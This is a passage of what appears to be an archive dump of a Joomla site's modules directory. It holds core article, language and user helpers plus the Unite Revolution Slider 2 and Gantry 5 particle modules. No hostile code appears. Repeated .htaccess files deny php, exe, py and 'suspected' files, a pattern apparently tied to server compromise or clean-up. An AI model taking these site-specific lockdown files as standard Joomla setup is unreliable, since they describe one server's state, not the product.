		$access     = !JComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', array()));

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		// Filer by tag
		$model->setState('filter.tag', $params->get('tag', array()));

		// Featured switch
		$featured = $params->get('show_featured', '');

		if ($featured === '')
		{
			$model->setState('filter.featured', 'show');
		}
		elseif ($featured)
		{
			$model->setState('filter.featured', 'only');
		}
		else
		{
			$model->setState('filter.featured', 'hide');
		}

		// Set ordering
		$ordering = $params->get('ordering', 'a.publish_up');
		$model->setState('list.ordering', $ordering);

		if (trim($ordering) === 'rand()')
		{
			$model->setState('list.ordering', JFactory::getDbo()->getQuery(true)->Rand());
		}
		else
		{
			$direction = $params->get('direction', 1) ? 'DESC' : 'ASC';
			$model->setState('list.direction', $direction);
			$model->setState('list.ordering', $ordering);
		}

		// Check if we should trigger additional plugin events
		$triggerEvents = $params->get('triggerevents', 1);

		// Retrieve Content
		$items = $model->getItems();

		foreach ($items as &$item)
		{
			$item->readmore = strlen(trim($item->fulltext));
			$item->slug     = $item->id . ':' . $item->alias;

			/** @deprecated Catslug is deprecated, use catid instead. 4.0 */
			$item->catslug  = $item->catid . ':' . $item->category_alias;

			if ($access || in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link     = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language));
				$item->linkText = JText::_('MOD_ARTICLES_NEWS_READMORE');
			}
			else
			{
				$item->link = new JUri(JRoute::_('index.php?option=com_users&view=login', false));
				$item->link->setVar('return', base64_encode(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language)));
				$item->linkText = JText::_('MOD_ARTICLES_NEWS_READMORE_REGISTER');
			}

			$item->introtext = JHtml::_('content.prepare', $item->introtext, '', 'mod_articles_news.content');

			// Remove any images belongs to the text
			if (!$params->get('image'))
			{
				$item->introtext = preg_replace('/<img[^>]*>/', '', $item->introtext);
			}

			// Show the Intro/Full image field of the article
			if ($params->get('img_intro_full') !== 'none')
			{
				$images = json_decode($item->images);
				$item->imageSrc = '';
				$item->imageAlt = '';
				$item->imageCaption = '';

				if ($params->get('img_intro_full') === 'intro' && !empty($images->image_intro))
				{
					$item->imageSrc = htmlspecialchars($images->image_intro, ENT_COMPAT, 'UTF-8');
					$item->imageAlt = htmlspecialchars($images->image_intro_alt, ENT_COMPAT, 'UTF-8');

					if ($images->image_intro_caption) 
					{
						$item->imageCaption = htmlspecialchars($images->image_intro_caption, ENT_COMPAT, 'UTF-8');
					}
				}
				elseif ($params->get('img_intro_full') === 'full' && !empty($images->image_fulltext))
				{
					$item->imageSrc = htmlspecialchars($images->image_fulltext, ENT_COMPAT, 'UTF-8');
					$item->imageAlt = htmlspecialchars($images->image_fulltext_alt, ENT_COMPAT, 'UTF-8');

					if ($images->image_intro_caption) 
					{
						$item->imageCaption = htmlspecialchars($images->image_fulltext_caption, ENT_COMPAT, 'UTF-8');
					}
				}
			}

			if ($triggerEvents)
			{
				$item->text = '';
				$app->triggerEvent('onContentPrepare', array ('com_content.article', &$item, &$params, 0));

				$results                 = $app->triggerEvent('onContentAfterTitle', array('com_content.article', &$item, &$params, 0));
				$item->afterDisplayTitle = trim(implode("\n", $results));

				$results                    = $app->triggerEvent('onContentBeforeDisplay', array('com_content.article', &$item, &$params, 0));
				$item->beforeDisplayContent = trim(implode("\n", $results));

				$results                   = $app->triggerEvent('onContentAfterDisplay', array('com_content.article', &$item, &$params, 0));
				$item->afterDisplayContent = trim(implode("\n", $results));
			}
			else
			{
				$item->afterDisplayTitle    = '';
				$item->beforeDisplayContent = '';
				$item->afterDisplayContent  = '';
			}
		}

		return $items;
	}
}
mod_articles_popular/helper.php000064400000006102150746170550012754 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_popular
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models', 'ContentModel');

/**
 * Helper for mod_articles_popular
 *
 * @since  1.6
 */
abstract class ModArticlesPopularHelper
{
	/**
	 * Get a list of popular articles from the articles model
	 *
	 * @param   \Joomla\Registry\Registry  &$params  object holding the models parameters
	 *
	 * @return mixed
	 */
	public static function getList(&$params)
	{
		// Get an instance of the generic articles model
		$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		// Set application parameters in model
		$app = JFactory::getApplication();
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		$model->setState('list.start', 0);
		$model->setState('filter.published', 1);

		// Set the filters based on the module params
		$model->setState('list.limit', (int) $params->get('count', 5));
		$model->setState('filter.featured', $params->get('show_front', 1) == 1 ? 'show' : 'hide');

		// This module does not use tags data
		$model->setState('load_tags', false);

		// Access filter
		$access = !JComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', array()));

		// Date filter
		$date_filtering = $params->get('date_filtering', 'off');

		if ($date_filtering !== 'off')
		{
			$model->setState('filter.date_filtering', $date_filtering);
			$model->setState('filter.date_field', $params->get('date_field', 'a.created'));
			$model->setState('filter.start_date_range', $params->get('start_date_range', '1000-01-01 00:00:00'));
			$model->setState('filter.end_date_range', $params->get('end_date_range', '9999-12-31 23:59:59'));
			$model->setState('filter.relative_date', $params->get('relative_date', 30));
		}

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		// Ordering
		$model->setState('list.ordering', 'a.hits');
		$model->setState('list.direction', 'DESC');

		$items = $model->getItems();

		foreach ($items as &$item)
		{
			$item->slug = $item->id . ':' . $item->alias;

			/** @deprecated Catslug is deprecated, use catid instead. 4.0 */
			$item->catslug = $item->catid . ':' . $item->category_alias;

			if ($access || in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language));
			}
			else
			{
				$item->link = JRoute::_('index.php?option=com_users&view=login');
			}
		}

		return $items;
	}
}
mod_languages/helper.php000064400000007731150746170550011363 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_languages
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php');

/**
 * Helper for mod_languages
 *
 * @since  1.6
 */
abstract class ModLanguagesHelper
{
	/**
	 * Gets a list of available languages
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module params
	 *
	 * @return  array
	 */
	public static function getList(&$params)
	{
		$user		= JFactory::getUser();
		$lang		= JFactory::getLanguage();
		$languages	= JLanguageHelper::getLanguages();
		$app		= JFactory::getApplication();
		$menu		= $app->getMenu();
		$active		= $menu->getActive();

		// Get menu home items
		$homes = array();
		$homes['*'] = $menu->getDefault('*');

		foreach ($languages as $item)
		{
			$default = $menu->getDefault($item->lang_code);

			if ($default && $default->language === $item->lang_code)
			{
				$homes[$item->lang_code] = $default;
			}
		}

		// Load associations
		$assoc = JLanguageAssociations::isEnabled();

		if ($assoc)
		{
			if ($active)
			{
				$associations = MenusHelper::getAssociations($active->id);
			}

			// Load component associations
			$option = $app->input->get('option');
			$class = ucfirst(str_replace('com_', '', $option)) . 'HelperAssociation';
			\JLoader::register($class, JPATH_SITE . '/components/' . $option . '/helpers/association.php');

			if (class_exists($class) && is_callable(array($class, 'getAssociations')))
			{
				$cassociations = call_user_func(array($class, 'getAssociations'));
			}
		}

		$levels    = $user->getAuthorisedViewLevels();
		$sitelangs = JLanguageHelper::getInstalledLanguages(0);
		$multilang = JLanguageMultilang::isEnabled();

		// Filter allowed languages
		foreach ($languages as $i => &$language)
		{
			// Do not display language without frontend UI
			if (!array_key_exists($language->lang_code, $sitelangs))
			{
				unset($languages[$i]);
			}
			// Do not display language without specific home menu
			elseif (!isset($homes[$language->lang_code]))
			{
				unset($languages[$i]);
			}
			// Do not display language without authorized access level
			elseif (isset($language->access) && $language->access && !in_array($language->access, $levels))
			{
				unset($languages[$i]);
			}
			else
			{
				$language->active = ($language->lang_code === $lang->getTag());

				// Fetch language rtl
				// If loaded language get from current JLanguage metadata
				if ($language->active)
				{
					$language->rtl = $lang->isRtl();
				}
				// If not loaded language fetch metadata directly for performance
				else
				{
					$languageMetadata = JLanguageHelper::getMetadata($language->lang_code);
					$language->rtl    = $languageMetadata['rtl'];
				}

				if ($multilang)
				{
					if (isset($cassociations[$language->lang_code]))
					{
						$language->link = JRoute::_($cassociations[$language->lang_code] . '&lang=' . $language->sef);
					}
					elseif (isset($associations[$language->lang_code]) && $menu->getItem($associations[$language->lang_code]))
					{
						$itemid = $associations[$language->lang_code];
						$language->link = JRoute::_('index.php?lang=' . $language->sef . '&Itemid=' . $itemid);
					}
					elseif ($active && $active->language == '*')
					{
						$language->link = JRoute::_('index.php?lang=' . $language->sef . '&Itemid=' . $active->id);
					}
					else
					{
						if ($language->active)
						{
							$language->link = JUri::getInstance()->toString(array('path', 'query'));
						}
						else
						{
							$itemid = isset($homes[$language->lang_code]) ? $homes[$language->lang_code]->id : $homes['*']->id;
							$language->link = JRoute::_('index.php?lang=' . $language->sef . '&Itemid=' . $itemid);
						}
					}
				}
				else
				{
					$language->link = JRoute::_('&Itemid=' . $homes['*']->id);
				}
			}
		}

		return $languages;
	}
}
mod_unite_revolution2/index.html000060400000000000150746170550013070 0ustar00mod_unite_revolution2/mod_unite_revolution2.xml000060400000006551150746170550016171 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension	type="module" version="1.6.0" method="upgrade" client="site" >
	<name>Unite Slider 2</name>
	<author>Unite CMS</author>
	<creationDate>October 2012</creationDate>
	<copyright>Copyright (C) 2012 UniteCMS.net, All rights reserved.</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<authorEmail>support@unitecms.net</authorEmail>
	<authorUrl>http://unitecms.net</authorUrl>
	<version>4.7</version>
	<description><![CDATA[
			<div style="font-weight:normal;">
			<p><strong>Unite Slider (new edition)</strong> module. Put the slider on any page. All the slider configuration located in Component.</p>
			<p>
				For support please turn to <a href="http://unitecms.net/joomla-extensions/unite-revolution-slider-responsive" target="_blank">Unite Slider Page</a>
			</p>
			<small style="float:right">ver. 4.7</small>
			</div>
     ]]>
	 </description>
	
	<files>
		<folder>fields</folder>	
		<filename module="mod_unite_revolution2">mod_unite_revolution2.php</filename>
		<filename>index.html</filename>
		<filename>mod_unite_revolution2.xml</filename>
	</files>
	<config>
		<fields name="params" addfieldpath="/modules/mod_unite_revolution2/fields">
			<fieldset name="general" label="General Settings">
				 <field name="sliderid"
					type="slider"
					label="Slider"
					description="Choose a slider from the component"
				/>
				
			</fieldset>
				
			<fieldset name="advanced">
				
				<field name="include_jquery" 
					   type="radio"
					   default="true" 
					   label="Include jQuery 1.8 js" 
					   description="Add include of jquery js. If you have jquery include in other module, and you don't want to double include, choose 'No'">
						  <option value="true">Yes</option>
						  <option value="false">No</option>
				</field>				

				<field name="js_load_type" 
					   type="radio"
					   default="head" 
					   label="Include item JS in" 
					   description="The right way is to include the js to the head section, but on some cases when you have double jquery loading, you can make it work by changing into body">
						  <option value="head">Head</option>
						  <option value="body">Body</option>
				</field>
				
				<field name="no_conflict_mode" 
					   type="radio"
					   default="false" 
					   label="No Conflict Mode" 
					   description="Run jQuery.noConflict() function. If you have some other js libraries that not working good, you can try this option.">
						  <option value="true">Yes</option>
						  <option value="false">No</option>
				</field>
					
				<field
					name="moduleclass_sfx"
					type="text"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
					
				<field
					name="cache"
					type="list"
					default="1"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC">
					<option
						value="1">JGLOBAL_USE_GLOBAL</option>
					<option
						value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>
				<field
					name="cache_time"
					type="text"
					default="900"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
				<field
					name="cachemode"
					type="hidden"
					default="itemid">
					<option
						value="itemid"></option>
				</field>
				
			</fieldset>
			
		</fields>		
	</config>
</extension>mod_unite_revolution2/mod_unite_revolution2.php000060400000004350150746170550016153 0ustar00<?php

/**
 * @package Unite Slider Module for Joomla 1.7-2.5
 * @version 1.0
 * @author UniteCMS.net
 * @copyright (C) 2012- Unite CMS
 * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
**/

// no direct access
defined('_JEXEC') or die;

	//include item files
	$pathIncludes = JPATH_ADMINISTRATOR."/components/com_uniterevolution2/includes.php";
	require_once $pathIncludes;
		
	//set active menu link
	$urlBase = JURI::base();
	
	$sliderID = $params->get("sliderid");
		
	$document = JFactory::getDocument();
	
	$include_jquery = $params->get("include_jquery","true");
	
	if($include_jquery == "true"){
		
		$isJoomla3 = UniteFunctionJoomlaRev::isJoomla3();
				
		if($isJoomla3 == false){	//load jquery in old way
			if(UniteFunctionJoomlaRev::isJqueryIncluded() == false){
				$jsPrefix = "http";
				if(JURI::getInstance()->isSSL() == true)
					$jsPrefix = "https";
			
				$document->addScript("{$jsPrefix}://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js?app=revolution_slider");
			}
		}else{
			JHtml::_('jquery.framework');
		}
		
		
	}
	
	$loadType = $params->get("js_load_type","head");
	$isJSInBody = ($loadType == "body")?true:false;
	$noConflictMode = ($params->get("no_conflict_mode") == "true")?true:false;
	
	//css includes
	$document->addStyleSheet(GlobalsRevSlider::$url_item_plugin."css/settings.css");
	
	if(file_exists(GlobalsRevSlider::$filepath_dynamic_captions) == true)
		$document->addStyleSheet(GlobalsRevSlider::$urlDynamicCaptionsCSS);
	else
		$document->addStyleSheet(GlobalsRevSlider::$urlCaptionsCSS);
		
	//add inline styles
	/*
	$db = new UniteDBRev();
	$styles = $db->fetch(GlobalsRevSlider::$table_css);
	$styles = UniteCssParserRev::parseDbArrayToCss($styles, "\n");
	$document->addStyleDeclaration( $styles );
	*/
	
	//dmp($styles);exit();
		
		
	$document->addStyleSheet(GlobalsRevSlider::$urlStaticCaptionsCSS);
	
	//include js:
	if($isJSInBody == false){
		$document->addScript(GlobalsRevSlider::$url_item_plugin."js/jquery.themepunch.tools.min.js");
		$document->addScript(GlobalsRevSlider::$url_item_plugin."js/jquery.themepunch.revolution.min.js");
	}
	
	
	$output = new RevSliderOutput();
	$output->jsToBody = $isJSInBody;
	$output->noConflictMode = $noConflictMode;

	$output->putSliderBase($sliderID);
	
?>	mod_unite_revolution2/fields/slider.php000060400000002573150746170550014355 0ustar00<?php
/**
 * @package Unite Slider for Joomla 1.7-2.5
 * @author UniteCMS.net
 * @copyright (C) 2012 Unite CMS, All Rights Reserved. 
 * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
**/

defined('JPATH_BASE') or die;

/**
 * Supports a modal article picker.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_content
 * @since		1.6
 */
class JFormFieldSlider extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var		string
	 * @since	1.6
	 */
	protected $type = 'Slider';

	/**
	 * 
	 * include all the files needed
	 */
	protected function requireFramework(){
		
		$pathComponent = JPATH_ADMINISTRATOR."/components/com_uniterevolution2/";
		require_once $pathComponent."includes.php";
	}
	
	
	/**
	 * Method to get the field input markup.
	 *
	 * @return	string	The field input markup.
	 * @since	1.6
	 */
	protected function getInput()
	{
		$this->requireFramework();
				
		$slider = new RevSlider();
		$arrSliders = $slider->getArrSlidersShort();
		
		$selectedID = $this->value;
		if(empty($selectedID))
			$selectedID = JRequest::getCmd("sliderid");
	
		$html = "<select id='{$this->id}_id' name='{$this->name}'>";
		foreach($arrSliders as $id=>$title){
			
			$selected = "";				
			if($id == $selectedID)
				$selected = 'selected="selected"';
			
			$html .= "<option value='$id' $selected>$title</option>";
		}		
		$html .= "</select>";
		
		return $html;
	}
	
	
}
mod_users_latest/helper.php000064400000002763150746170550012132 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_users_latest
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_users_latest
 *
 * @since  1.6
 */
class ModUsersLatestHelper
{
	/**
	 * Get users sorted by activation date
	 *
	 * @param   \Joomla\Registry\Registry  $params  module parameters
	 *
	 * @return  array  The array of users
	 *
	 * @since   1.6
	 */
	public static function getUsers($params)
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName(array('a.id', 'a.name', 'a.username', 'a.registerDate')))
			->order($db->quoteName('a.registerDate') . ' DESC')
			->from('#__users AS a');
		$user = JFactory::getUser();

		if (!$user->authorise('core.admin') && $params->get('filter_groups', 0) == 1)
		{
			$groups = $user->getAuthorisedGroups();

			if (empty($groups))
			{
				return array();
			}

			$query->join('LEFT', '#__user_usergroup_map AS m ON m.user_id = a.id')
				->join('LEFT', '#__usergroups AS ug ON ug.id = m.group_id')
				->where('ug.id in (' . implode(',', $groups) . ')')
				->where('ug.id <> 1');
		}

		$db->setQuery($query, 0, $params->get('shownumber', 5));

		try
		{
			return (array) $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

			return array();
		}
	}
}
mod_search/tmpl/.htaccess000044400000000177150747276150011443 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_search/.htaccess000044400000000177150747276150010467 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_custom/tmpl/.htaccess000044400000000177150747276150011510 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_custom/.htaccess000044400000000177150747276150010534 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_articles_news/tmpl/.htaccess000044400000000177150747276150013040 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_articles_news/.htaccess000044400000000177150747276150012064 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_banners/tmpl/.htaccess000044400000000177150747276150011626 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_banners/.htaccess000044400000000177150747276150010652 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_whosonline/tmpl/.htaccess000044400000000177150747276150012363 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_whosonline/.htaccess000044400000000177150747276150011407 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_gantry5_particle/helper.php000060400000013010150747276150012654 0ustar00<?php

/**
 * @package   Gantry 5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2021 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */
defined('_JEXEC') or die;

use Gantry\Component\Content\Block\ContentBlockInterface;
use Gantry\Component\Content\Block\HtmlBlock;
use Gantry\Debugger;
use Gantry\Framework\Gantry;
use Gantry\Framework\Platform;
use Gantry\Framework\Theme;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ModuleHelper;
use Joomla\CMS\Language\Text;
use Joomla\Registry\Registry;

/**
 * Class ModGantry5ParticleHelper
 */
class ModGantry5ParticleHelper
{
    /**
     * Serve module AJAX requests in 'index.php?option=com_ajax&module=gantry5_particle&format=json'.
     *
     * @return array|null|string
     */
    public static function getAjax()
    {
        /** @var CMSApplication $app */
        $app = Factory::getApplication();

        $input = $app->input;
        $format = strtolower($input->getCmd('format', 'html'));
        $id = $input->getInt('id');

        $props = $_GET;
        unset($props['option'], $props['module'], $props['format'], $props['id']);

        return static::ajax($id, $props, $format);
    }

    /**
     * @param $id
     * @param array $props
     * @param string $format
     * @return array|null|string
     */
    public static function ajax($id, $props = [], $format = 'raw')
    {
        if (!in_array($format, ['json', 'raw', 'debug'])) {
            throw new \RuntimeException(Text::_('JERROR_PAGE_NOT_FOUND'), 404);
        }

        $gantry = Gantry::instance();

        /** @var Platform $platform */
        $platform = $gantry['platform'];
        $module = $platform->getModule($id);

        // Make sure that module really exists.
        if (!is_object($module) || strpos($module->module, 'gantry5') === false) {
            throw new \RuntimeException(Text::_('JERROR_PAGE_NOT_FOUND'), 404);
        }

        $attribs = ['style' => 'gantry'];

        /** @var CMSApplication $app */
        $app = Factory::getApplication();

        // Trigger the onRenderModule event.
        $app->triggerEvent('onRenderModule', ['module' => &$module, 'attribs' => &$attribs]);

        $params = new Registry($module->params);
        $params->set('ajax', $props);
        $block = static::render($module, $params);
        $data = json_decode($params->get('particle'), true);
        $type = $data['type'] . '.' . $data['particle'];
        $identifier = static::getIdentifier($data['particle'], $module->id);
        $html = (string) $block;

        if ($format === 'raw') {
            return $html;
        }

        return ['code' => 200, 'type' => $type, 'id' => $identifier, 'props' => (object) $props, 'html' => $html];
    }

    /**
     * @param object $module
     * @param object $params
     * @return ContentBlockInterface
     */
    public static function render($module, $params)
    {
        if (\GANTRY_DEBUGGER) {
            Debugger::addMessage("Particle Module #{$module->id} was not cached");
        }

        $data = json_decode($params->get('particle'), true);
        $type = $data['type'];
        $particle = $data['particle'];

        $gantry = Gantry::instance();
        if ($gantry->debug()) {
            $enabled_outline = $gantry['config']->get("particles.{$particle}.enabled", true);
            $enabled = isset($data['options']['particle']['enabled']) ? $data['options']['particle']['enabled'] : true;
            $location = (!$enabled_outline ? 'Outline' : (!$enabled ? 'Module' : null));

            if ($location) {
                $block = HtmlBlock::create();
                $block->setContent(sprintf('<div class="alert alert-error">The Particle has been disabled from the %s and won\'t render.</div>', $location));

                return $block;
            }
        }

        $id = static::getIdentifier($particle, $module->id);
        $object = (object) array(
            'id' => $id,
            'type' => $type,
            'subtype' => $particle,
            'attributes' => $data['options']['particle'],
        );

        $context = array(
            'gantry' => $gantry,
            'inContent' => true,
            'ajax' => $params->get('ajax'),
        );

        /** @var Theme $theme */
        $theme = $gantry['theme'];
        $block = $theme->getContent($object, $context);

        // Create outer block with the particle ID for AJAX calls.
        $outer = \Gantry\Component\Content\Block\HtmlBlock::create();
        $outer->setContent('<div id="' . $id . '-particle" class="g-particle">' . $block->getToken() . '</div>');
        $outer->addBlock($block);

        return $outer;
    }

    /**
     * @param $module
     * @param $params
     * @return array
     */
    public static function cache($module, $params)
    {
        return static::render($module, $params)->toArray();
    }

    /**
     * @param $module
     * @param $params
     * @param $cacheparams
     * @return ContentBlockInterface|null
     */
    public static function moduleCache($module, $params, $cacheparams)
    {
        $block = (array) ModuleHelper::moduleCache($module, $params, $cacheparams);
        try {
            return $block ? HtmlBlock::fromArray($block) : null;
        } catch (Exception $e) {
            return null;
        }
    }

    /**
     * @param string $particle
     * @param string $id
     * @return string
     */
    public static function getIdentifier($particle, $id)
    {
        return "module-{$particle}-{$id}";
    }
}
mod_gantry5_particle/language/en-GB/en-GB.mod_gantry5_particle.sys.ini000060400000000211150747276150021656 0ustar00MOD_GANTRY5_PARTICLE="Gantry 5 Particle"
MOD_GANTRY5_PARTICLE_DESCRIPTION="This module allows you to add particles to module positions."
mod_gantry5_particle/language/en-GB/en-GB.mod_gantry5_particle.ini000060400000000637150747276150021055 0ustar00MOD_GANTRY5_PARTICLE="Gantry 5 Particle"
MOD_GANTRY5_PARTICLE_DESCRIPTION="This module allows you to add particles to module positions."
MOD_GANTRY5_PARTICLE_NOT_INITIALIZED="%s: Cannot display content; not in Gantry 5 template!"

MOD_GANTRY5_PARTICLE_FIELD_PARTICLE_LABEL="Particle"
MOD_GANTRY5_PARTICLE_FIELD_PARTICLE_DESC="Select and configure Gantry 5 particle."

GANTRY5_PLATFORM_EDIT_PARTICLE="Edit Particle"
mod_gantry5_particle/language/.htaccess000044400000000177150747276150014261 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_gantry5_particle/MD5SUMS000060400000000553150747276150011714 0ustar00MD5SUMS	d41d8cd98f00b204e9800998ecf8427e
helper.php	962acc18b7cf14246b60d2c3f7af4fd0
language/en-GB/en-GB.mod_gantry5_particle.ini	36768f6c44ba3fe3f5fea7e9d68b7ad7
language/en-GB/en-GB.mod_gantry5_particle.sys.ini	ac2c79d2f58a93ff1e39cb596e1ef2ad
mod_gantry5_particle.php	995659f13a316da00b12adbab95f61b9
mod_gantry5_particle.xml	27d240fa704d2c54ab604aedb474011c
mod_gantry5_particle/.htaccess000044400000000177150747276150012476 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_gantry5_particle/mod_gantry5_particle.php000060400000003143150747276150015516 0ustar00<?php

/**
 * @package   Gantry 5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2021 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */
defined('_JEXEC') or die;

use Gantry\Component\Content\Block\HtmlBlock;
use Gantry\Framework\Document;
use Gantry\Framework\Gantry;
use Gantry\Debugger;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

// Detect Gantry Framework or fail gracefully.
if (!class_exists('Gantry\Framework\Gantry')) {
    $app = Factory::getApplication();
    $app->enqueueMessage(
        Text::sprintf('MOD_GANTRY5_PARTICLE_NOT_INITIALIZED', Text::_('MOD_GANTRY5_PARTICLE')),
        'warning'
    );
    return;
}

include_once __DIR__ . '/helper.php';

/** @var object $params */
/** @var object $module */

$gantry = Gantry::instance();

if (\GANTRY_DEBUGGER) {
    Debugger::startTimer("module-{$module->id}", "Rendering Particle Module #{$module->id}");
}

// Set up caching.
$cacheid = md5($module->id);

$cacheparams = (object) [
    'cachemode'    => 'id',
    'class'        => 'ModGantry5ParticleHelper',
    'method'       => 'cache',
    'methodparams' => [$module, $params],
    'modeparams'   => $cacheid
];

/** @var HtmlBlock $block */
$block = ModGantry5ParticleHelper::moduleCache($module, $params, $cacheparams);
if (null === $block) {
    $block = ModGantry5ParticleHelper::render($module, $params);
}

/** @var Document $document */
$document = $gantry['document'];
$document->addBlock($block);

echo $block->toString();

if (\GANTRY_DEBUGGER) {
    Debugger::stopTimer("module-{$module->id}");
}
mod_gantry5_particle/mod_gantry5_particle.xml000060400000004107150747276150015530 0ustar00<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<extension version="3.9" type="module" client="site" method="upgrade">
    <name>mod_gantry5_particle</name>
    <version>5.5.17</version>
    <creationDate>October 30, 2023</creationDate>
    <author>RocketTheme, LLC</author>
    <authorEmail>support@rockettheme.com</authorEmail>
    <authorUrl>http://www.rockettheme.com</authorUrl>
    <copyright>(C) 2005 - 2022 RocketTheme, LLC. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2</license>
    <description>MOD_GANTRY5_PARTICLE_DESCRIPTION</description>

    <files>
        <filename module="mod_gantry5_particle">mod_gantry5_particle.php</filename>
        <filename>helper.php</filename>
        <folder>language</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic" addfieldpath="/components/com_gantry5/fields">
                <field
                        name="particle"
                        type="particle"
                        filter="raw"
                        label="MOD_GANTRY5_PARTICLE_FIELD_PARTICLE_LABEL"
                        description="MOD_GANTRY5_PARTICLE_FIELD_PARTICLE_DESC" />
            </fieldset>

            <fieldset name="advanced">
                <field
                    name="moduleclass_sfx"
                    type="text"
                    label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" />

                <field
                        name="owncache"
                        type="list"
                        label="COM_MODULES_FIELD_CACHING_LABEL"
                        default="0"
                >
                    <option value="1">JGLOBAL_USE_GLOBAL</option>
